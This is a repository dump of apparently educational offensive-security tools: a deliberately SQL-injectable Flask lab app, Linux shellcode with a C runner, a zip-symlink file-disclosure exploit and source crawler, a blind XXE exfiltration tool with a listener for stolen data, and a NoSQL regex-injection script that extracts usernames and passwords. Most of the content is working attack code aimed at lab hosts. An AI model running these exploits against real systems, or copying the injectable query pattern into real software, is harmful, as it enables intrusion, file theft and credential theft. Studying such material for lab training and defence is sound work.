├── .gitignore ├── dockers └── sql-union-no-comma │ ├── README.md │ ├── startup.sh │ ├── Dockerfile │ ├── app │ ├── requirements.txt │ ├── utils.py │ ├── models.py │ ├── database.py │ └── app.py │ └── backup.sql ├── shellcode-analysis └── linux │ ├── Makefile │ ├── shellcodeToC.py │ └── main.c ├── pwnclosure ├── fd.py └── pwnclosure.py ├── xxe └── blind-xxe.py └── nosql └── dump-password.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | __pycache__ 3 | -------------------------------------------------------------------------------- /dockers/sql-union-no-comma/README.md: -------------------------------------------------------------------------------- 1 | This was created by ippsec to showcase UNION SQL Injection in URL's without using a , 2 | -------------------------------------------------------------------------------- /dockers/sql-union-no-comma/startup.sh: -------------------------------------------------------------------------------- 1 | mysqld --user=root & 2 | sleep 5 3 | mysql < /backup.sql 4 | cd /app 5 | python3 app.py 6 | tail -f /dev/null 7 | -------------------------------------------------------------------------------- /shellcode-analysis/linux/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -z execstack -fno-stack-protector -g 3 | TARGET = shellcode.elf 4 | SRC = main.c 5 | 6 | $(TARGET): $(SRC) 7 | $(CC) -o $(TARGET) $(SRC) $(CFLAGS) 8 | 9 | clean: 10 | rm -f $(TARGET) 11 | 12 | .PHONY: clean 13 | -------------------------------------------------------------------------------- /dockers/sql-union-no-comma/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:latest 2 | ADD app /app 3 | COPY startup.sh / 4 | COPY backup.sql / 5 | RUN chmod +x /startup.sh 6 | WORKDIR /app 7 | RUN pip install -r requirements.txt 8 | RUN apt update 9 | RUN apt install -y mariadb-server 10 | RUN mkdir -p /run/mysqld 11 | 12 | ENTRYPOINT ["bash"] 13 | CMD ["/startup.sh"] 14 | -------------------------------------------------------------------------------- /dockers/sql-union-no-comma/app/requirements.txt: -------------------------------------------------------------------------------- 1 | annotated-types==0.5.0 2 | bcrypt==4.0.1 3 | blinker==1.6.2 4 | click==8.1.7 5 | flask==2.3.3 6 | Flask-Bcrypt==1.0.1 7 | flask-sqlalchemy==3.1.1 8 | greenlet==2.0.2 9 | importlib-metadata==6.8.0 10 | itsdangerous==2.1.2 11 | Jinja2==3.1.2 12 | MarkupSafe==2.1.3 13 | mysqlclient==2.2.0 14 | pydantic==2.4.1 15 | pydantic-core==2.10.1 16 | SQLAlchemy==2.0.21 17 | typing-extensions==4.8.0 18 | werkzeug==2.3.7 19 | zipp==3.17.0 20 | -------------------------------------------------------------------------------- /shellcode-analysis/linux/shellcodeToC.py: -------------------------------------------------------------------------------- 1 | #Shellcode in hex string ex deadbeef 2 | shellcode = "6a6b580f0589c789c289c66a75580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05" 3 | sc_bytes = bytes.fromhex(shellcode) 4 | 5 | # Print is for a C Program 6 | c_array = ', '.join([f'0x{byte:02x}' for byte in sc_bytes]) 7 | print('unsigned char shellcode[] = { ' + c_array + ' };') 8 | 9 | # Write it out to a file 10 | #f = open("shellcode.out","wb") 11 | #f.write(sc_bytes) 12 | 13 | -------------------------------------------------------------------------------- /dockers/sql-union-no-comma/app/utils.py: -------------------------------------------------------------------------------- 1 | from pydantic import ValidationError 2 | from models import NameModel 3 | from functools import wraps 4 | 5 | def validate_username(func): 6 | @wraps(func) 7 | def wrapper(*args, **kwargs): 8 | # Validate the username parameter 9 | try: 10 | query = NameModel(username=kwargs['username']).dict() 11 | except ValidationError as e: 12 | return str(e), 400 13 | 14 | kwargs['query'] = query 15 | return func(*args, **kwargs) 16 | return wrapper -------------------------------------------------------------------------------- /dockers/sql-union-no-comma/app/models.py: -------------------------------------------------------------------------------- 1 | from pydantic import BaseModel, validator, constr, ValidationError 2 | from urllib.error import HTTPError 3 | import re 4 | 5 | class NameModel(BaseModel): 6 | username: constr(min_length=1, max_length=256) # Adjust the max length as needed 7 | 8 | @validator('username') 9 | def validate_name(cls, username): 10 | # Check if the name contains only alphanumeric characters and apostrophes 11 | if not re.match(r'^[a-zA-Z0-9()*\' -]+$', username): 12 | raise ValueError('Name must contain only letters, numbers, and apostrophes') 13 | return username -------------------------------------------------------------------------------- /shellcode-analysis/linux/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // Compile with: gcc -o shellcode.elf main.c -z execstack -fno-stack-protector -g 5 | 6 | unsigned char shellcode[] = { 0x6a, 0x6b, 0x58, 0x0f, 0x05, 0x89, 0xc7, 0x89, 0xc2, 0x89, 0xc6, 0x6a, 0x75, 0x58, 0x0f, 0x05, 0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, 0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e, 0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, 0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05 }; 7 | 8 | int main() { 9 | mprotect((void*)((intptr_t)shellcode & ~0xFFF), 8192, PROT_READ|PROT_EXEC); 10 | 11 | int (*run)(); 12 | run = (int (*)()) shellcode; 13 | (int)(*run)(); 14 | 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /dockers/sql-union-no-comma/backup.sql: -------------------------------------------------------------------------------- 1 | create database demo; 2 | use demo; 3 | CREATE USER 'demo'@'localhost' IDENTIFIED BY 'pleasesubscribe'; 4 | GRANT ALL PRIVILEGES ON demo.* TO 'demo'@'localhost'; 5 | FLUSH PRIVILEGES; 6 | 7 | DROP TABLE IF EXISTS `posts`; 8 | CREATE TABLE `posts` ( 9 | `id` int NOT NULL AUTO_INCREMENT, 10 | `title` varchar(32) DEFAULT NULL, 11 | `body` text, 12 | `author_id` int DEFAULT NULL, 13 | PRIMARY KEY (`id`) 14 | ); 15 | INSERT INTO `posts` VALUES (1,'Please Subscribe','To my channel',1); 16 | 17 | DROP TABLE IF EXISTS `users`; 18 | CREATE TABLE `users` ( 19 | `id` int NOT NULL AUTO_INCREMENT, 20 | `username` varchar(128) DEFAULT NULL, 21 | `password` varchar(128) DEFAULT NULL, 22 | `email` varchar(128) DEFAULT NULL, 23 | PRIMARY KEY (`id`) 24 | ); 25 | 26 | INSERT INTO `users` VALUES (1,'ippsec','$2b$12$poLViz9Y.eqTySckpeukI.k3ASSJ/OG3k/YklyFLbGxE43H4DD/h6','root@ippsec.rocks'); 27 | 28 | -------------------------------------------------------------------------------- /dockers/sql-union-no-comma/app/database.py: -------------------------------------------------------------------------------- 1 | from flask_sqlalchemy import SQLAlchemy 2 | 3 | db = SQLAlchemy() 4 | 5 | class Users(db.Model): 6 | id = db.Column(db.Integer, primary_key=True) 7 | username = db.Column(db.String(), unique=True) 8 | password = db.Column(db.String(), unique=False) 9 | email = db.Column(db.String(), unique=True) 10 | posts = db.relationship('Posts', back_populates="author") 11 | 12 | def __repr__(self): 13 | return {c.name: getattr(self, c.name) for c in self.__table__.columns} 14 | 15 | class Posts(db.Model): 16 | id = db.Column(db.Integer, primary_key=True) 17 | title = db.Column(db.String(), unique=True) 18 | body = db.Column(db.String(), unique=False) 19 | author_id = db.Column(db.Integer, db.ForeignKey('users.id')) 20 | author = db.relationship('Users', back_populates="posts") 21 | 22 | def __repr__(self): 23 | return {c.name: getattr(self, c.name) for c in self.__table__.columns} -------------------------------------------------------------------------------- /pwnclosure/fd.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import io 3 | import zipfile 4 | import stat 5 | import hashlib 6 | import sys 7 | 8 | def calculate_md5(data): 9 | md5_hash = hashlib.md5() 10 | md5_hash.update(data) 11 | return md5_hash.hexdigest() 12 | 13 | def create_zip(target_file): 14 | payload = io.BytesIO() 15 | zipInfo = zipfile.ZipInfo('resume.pdf') 16 | zipInfo.create_system = 3 # System which created ZIP archive, 3 = Unix; 0 = Windows 17 | unix_st_mode = stat.S_IFLNK | stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH 18 | zipInfo.external_attr = unix_st_mode << 16 # The Python zipfile module accepts the 16-bit "Mode" field (that stores st_mode field from struct stat, containing user/group/other permissions, setuid/setgid and symlink info, etc) of the ASi extra block for Unix as bits 16-31 of the external_attr 19 | zipOut = zipfile.ZipFile(payload, 'w', compression=zipfile.ZIP_DEFLATED) 20 | zipOut.writestr(zipInfo, target_file) 21 | zipOut.close() 22 | return payload.getvalue() 23 | 24 | def downloadFile(targetFile): 25 | url = 'http://10.10.11.229/upload.php' 26 | payload = create_zip(targetFile) 27 | files = {'zipFile': ('file.zip', payload)} 28 | data = {"submit":""} 29 | requests.post(url, files=files, data=data) 30 | md5 = calculate_md5(payload) 31 | r = requests.get(f'http://10.10.11.229/uploads/{md5}/resume.pdf') 32 | return r.text 33 | 34 | if __name__ == "__main__": 35 | if len(sys.argv) != 2: 36 | print(f"Usage: {sys.argv[0]} ") 37 | sys.exit(1) 38 | print(downloadFile(sys.argv[1])) -------------------------------------------------------------------------------- /dockers/sql-union-no-comma/app/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | from sqlalchemy.sql import text 3 | from flask_bcrypt import Bcrypt 4 | import json 5 | from flask import jsonify 6 | import html 7 | 8 | from database import db, Users, Posts 9 | from models import NameModel 10 | from utils import validate_username 11 | 12 | 13 | app = Flask(__name__) 14 | app = Flask(__name__) 15 | app.config['SQLALCHEMY_DATABASE_URI'] =\ 16 | 'mysql://demo:pleasesubscribe@127.0.0.1:3306/demo' 17 | app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False 18 | bcrypt = Bcrypt(app) 19 | db.init_app(app) 20 | 21 | 22 | @app.route('/') 23 | def index(): 24 | posts = db.session.query(Posts).all() 25 | post_list = [] 26 | for post in posts: 27 | post_list.append({'id': post.id, 'title': post.title, 'content': post.body}) 28 | return jsonify(posts=post_list) 29 | 30 | @app.route('/post/') 31 | def post(post_id): 32 | post = db.session.query(Posts).filter(Posts.id == post_id).first() 33 | return jsonify(id=post.id, title=post.title, content=post.body) 34 | 35 | @app.route('/user//', methods=['GET']) 36 | @validate_username 37 | def author(username: str, query: dict): 38 | # Validate the username parameter 39 | user = db.session.execute(text(f"SELECT * FROM users WHERE username = '{username}'")).first() 40 | return json.dumps(user, default=str) 41 | 42 | # Create a route to add a new user 43 | @app.route('/user/add/', methods=['POST']) 44 | def add_user(): 45 | username = request.form.get('username') 46 | password = request.form.get('password') 47 | email = request.form.get('email') 48 | hashed_password = bcrypt.generate_password_hash(password).decode('utf-8') 49 | user = Users(username=username, password=hashed_password, email=email) 50 | db.session.add(user) 51 | db.session.commit() 52 | return 53 | 54 | # Create a route to add a new post 55 | @app.route('/post/add/', methods=['POST']) 56 | def add_post(): 57 | title = request.form.get('title') 58 | body = request.form.get('body') 59 | author_id = request.form.get('author_id') 60 | post = Posts(title=title, body=body, author_id=author_id) 61 | db.session.add(post) 62 | db.session.commit() 63 | return 64 | 65 | if __name__ == '__main__': 66 | app.run(host='0.0.0.0', debug=False) 67 | -------------------------------------------------------------------------------- /pwnclosure/pwnclosure.py: -------------------------------------------------------------------------------- 1 | import re 2 | import logging 3 | import os 4 | 5 | def getLinks(html): 6 | output = set() 7 | links = re.findall(r"""(?:href=|src=|include )["']([0-9a-zA-Z\-_\/\.]*)[\?"']""", html) 8 | for link in links: 9 | if not '.' in link: 10 | link += '/index.php' 11 | output.add(link) 12 | 13 | # Different regex, because if we just get a item with no extension, its a file. 14 | # Above, it it probably a directory. 15 | links = re.findall(r"""page=([0-9a-zA-Z-_\/\.]*)""", html) 16 | for link in links: 17 | if not '.' in link: 18 | link += '.php' 19 | output.add(link) 20 | 21 | return output 22 | 23 | 24 | def saveFile(fullPath, content): 25 | directory = "output" + os.path.dirname(fullPath) 26 | if not os.path.exists(directory): 27 | os.makedirs(directory) 28 | with open("output" + fullPath, "w") as f: 29 | f.write(content) 30 | 31 | # ToDo: Automatically identify parent based upon webserver config 32 | # func = a call to download src 33 | def startCrawl(func, parent, file): 34 | # Create our queue + previous work. Making them a set to prevent dups 35 | crawled = set() 36 | queue = {file} 37 | 38 | while queue: 39 | # Get the item, then remove it from the queue 40 | page = queue.pop() 41 | print(f"Downloading page: {page}") 42 | crawled.add(page) 43 | # We are dealing with FileDisclosure, it's best to use the Absolute Path 44 | fullPath = parent + page 45 | output = func(fullPath) 46 | # ToDo: Probably need to check for 404 here 47 | saveFile(fullPath, output) 48 | links = getLinks(output) 49 | for link in links: 50 | # Any link that begins with / or is .., can screw with our file write/dupe check 51 | link = link.lstrip("/") 52 | if "/" in page: 53 | link = os.path.dirname(page) + "/" + link 54 | if link.endswith(".."): 55 | continue 56 | if link not in crawled: 57 | # This is new to us, add it to the queue 58 | queue.add(link) 59 | logging.debug(f"Added {link} to queue") 60 | 61 | import fd 62 | startCrawl(fd.downloadFile, "/proc/self/cwd/", "index.php") 63 | -------------------------------------------------------------------------------- /xxe/blind-xxe.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from threading import Thread 3 | import http.server 4 | import requests 5 | import re 6 | from base64 import b64decode 7 | from cmd import Cmd 8 | 9 | # Setup payload to be global. 10 | payload = b'This would be the payload... IF IT EXISTED\n' 11 | endpoint = '' 12 | 13 | def load_request_from_file(filename, ssl=False): 14 | """ 15 | Load request from burpsuite file. 16 | """ 17 | with open(filename, 'r') as f: 18 | request_data = f.read() 19 | headers, body = request_data.replace('\r', '').split('\n\n') 20 | 21 | method = headers.split(' ')[0] 22 | path = headers.split(' ')[1] 23 | headers = dict([header.split(': ') for header in headers.split("\n")[1:]]) 24 | path = f'http://{headers["Host"]}{path}' 25 | if ssl: 26 | path = f'https://{headers["Host"]}{path}' 27 | 28 | # SYSTEM "http://10.10.14.8:8000/test.dtd 29 | search = re.search(r'SYSTEM "[https]*:\/\/(.*?)/', body) 30 | endpoint = search.group(1) 31 | 32 | return method, path, headers, body, endpoint 33 | 34 | class RequestHandler(http.server.BaseHTTPRequestHandler): 35 | def do_GET(self): 36 | self.send_response(200) 37 | self.send_header('Content-type','application/xml') 38 | self.end_headers() 39 | if self.path.endswith('.dtd'): 40 | """ 41 | If ends with DTD, we send the payload (global variable). 42 | """ 43 | self.wfile.write(payload.encode()) 44 | return 45 | elif self.path[:5] == '/b64/': 46 | """ 47 | Server is responding to us with base64 48 | """ 49 | try: 50 | data = b64decode(self.path[5:]) 51 | print(data.decode()) 52 | except Exception as e: 53 | print(e) 54 | else: 55 | """ 56 | Unexpected currently 57 | """ 58 | print(self.path) 59 | return 60 | 61 | class Terminal(Cmd): 62 | prompt = 'xxe> ' 63 | def default(self, args): 64 | global payload 65 | payload = f""" 66 | "> %payload; 67 | %run;""" 68 | r = requests.request(method, path, headers=headers, data=body) 69 | 70 | def run(): 71 | server_address = ('', 8000) 72 | httpd = http.server.HTTPServer(server_address, RequestHandler) 73 | httpd.serve_forever() 74 | 75 | if __name__ == '__main__': 76 | parser = argparse.ArgumentParser(description='XXE Blind Injection Exfiltration') 77 | parser.add_argument('-r', '--request', help='Burpsuite Request File', required=True) 78 | parser.add_argument('-s', '--ssl', help='Use SSL', action='store_true') 79 | args = parser.parse_args() 80 | if args.ssl: 81 | method, path, headers, body, endpoint = load_request_from_file(args.request, ssl=True) 82 | else: 83 | method, path, headers, body, endpoint = load_request_from_file(args.request) 84 | 85 | # Start HTTP Server 86 | t = Thread(target=run) 87 | t.start() 88 | 89 | # Start Terminal 90 | terminal = Terminal() 91 | terminal.cmdloop() 92 | -------------------------------------------------------------------------------- /nosql/dump-password.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # The creation of this script was done in: https://www.youtube.com/watch?v=6mkZy8vZ82M 3 | # Author: Ippsec 4 | 5 | import requests 6 | import string 7 | 8 | def test_login(payload): 9 | url = 'http://dev.stocker.htb/login' 10 | r = requests.post(url, json=payload) 11 | r.raise_for_status() 12 | if "error" in r.text: 13 | return False 14 | return True 15 | 16 | def get_char_password(username, startswith, charset = string.ascii_letters + string.digits): 17 | while len(charset) > 1: 18 | # Get the first half of the current charset 19 | guess = charset[:len(charset)//2] 20 | guess = "[" + guess + "]" 21 | payload = { 22 | "username":username, 23 | "password":{ "$regex":f"^{startswith}{guess}" }} 24 | if test_login(payload): 25 | # Character is in first half 26 | charset = charset[:len(charset)//2] 27 | else: 28 | # Character is possibly in second half 29 | charset = charset[len(charset)//2:] 30 | if len(charset) == 1: 31 | # Last possibe character, need to check it one last time 32 | payload = { 33 | "username":username, 34 | "password":{ "$regex":f"^{startswith}{charset}" }} 35 | if not test_login(payload): 36 | raise Exception("Exhausted Character Set") 37 | return charset 38 | #raise Exception("Unable to get char of username") 39 | 40 | def get_char_username(startswith, charset = string.ascii_letters + string.digits): 41 | while len(charset) > 1: 42 | # Get the first half of the current charset 43 | guess = charset[:len(charset)//2] 44 | guess = "[" + guess + "]" 45 | payload = { 46 | "username":{ "$regex":f"^{startswith}{guess}" }, 47 | "password":{"$ne":"admin"}} 48 | if test_login(payload): 49 | # Character is in first half 50 | charset = charset[:len(charset)//2] 51 | else: 52 | # Character is possibly in second half 53 | charset = charset[len(charset)//2:] 54 | if len(charset) == 1: 55 | # Last possibe character, need to check it one last time 56 | payload = { 57 | "username":{ "$regex":f"^{startswith}{charset}" }, 58 | "password":{"$ne":"admin"}} 59 | if not test_login(payload): 60 | raise Exception("Exhausted Character Set") 61 | return charset 62 | 63 | 64 | def get_password(username, length, startswith=""): 65 | try: 66 | for i in range(0, length): 67 | char = get_char_password(username, startswith) 68 | if char: 69 | startswith += char 70 | return startswith 71 | except Exception as e: 72 | raise e 73 | 74 | def get_username(length, startswith=""): 75 | try: 76 | for i in range(0, length): 77 | char = get_char_username(startswith) 78 | if char: 79 | startswith += char 80 | return startswith 81 | except Exception as e: 82 | raise e 83 | 84 | def get_length_username(): 85 | try: 86 | for i in range(1,50): 87 | payload = { 88 | "username":{"$regex":f"^[a-zA-Z0-9]{{{i}}}$"}, 89 | "password":{"$ne":"admin"}} 90 | if test_login(payload): 91 | return i 92 | raise Exception("Unable to get length of username") 93 | except Exception as e: 94 | raise e 95 | 96 | def get_length_password(username): 97 | try: 98 | for i in range(1,128): 99 | payload = { 100 | "username":username, 101 | "password":{"$regex":f"^[a-zA-Z0-9]{{{i}}}$"}} 102 | if test_login(payload): 103 | return i 104 | raise Exception("Unable to get length of username") 105 | except Exception as e: 106 | raise e 107 | 108 | try: 109 | # Get Username Length 110 | print("[+] Locating Length of Username") 111 | length_username = get_length_username() 112 | print(f"[+] The username is {length_username} characters long") 113 | # Get the username 114 | print("[+] Locating Username") 115 | username = get_username(length_username) 116 | print(f"[+] The username is {username}") 117 | 118 | # Get length of user's password 119 | print("[+] Locating Length of Password") 120 | length_password = get_length_password(username) 121 | print(f"[+] {username} Password is {length_password} characters long") 122 | 123 | # Get the Password 124 | print("[+] Locating Password") 125 | pw = get_password(username, length_password) 126 | print(f"[+] {username} Password is {pw}") 127 | 128 | except Exception as e: 129 | print(e) 130 | --------------------------------------------------------------------------------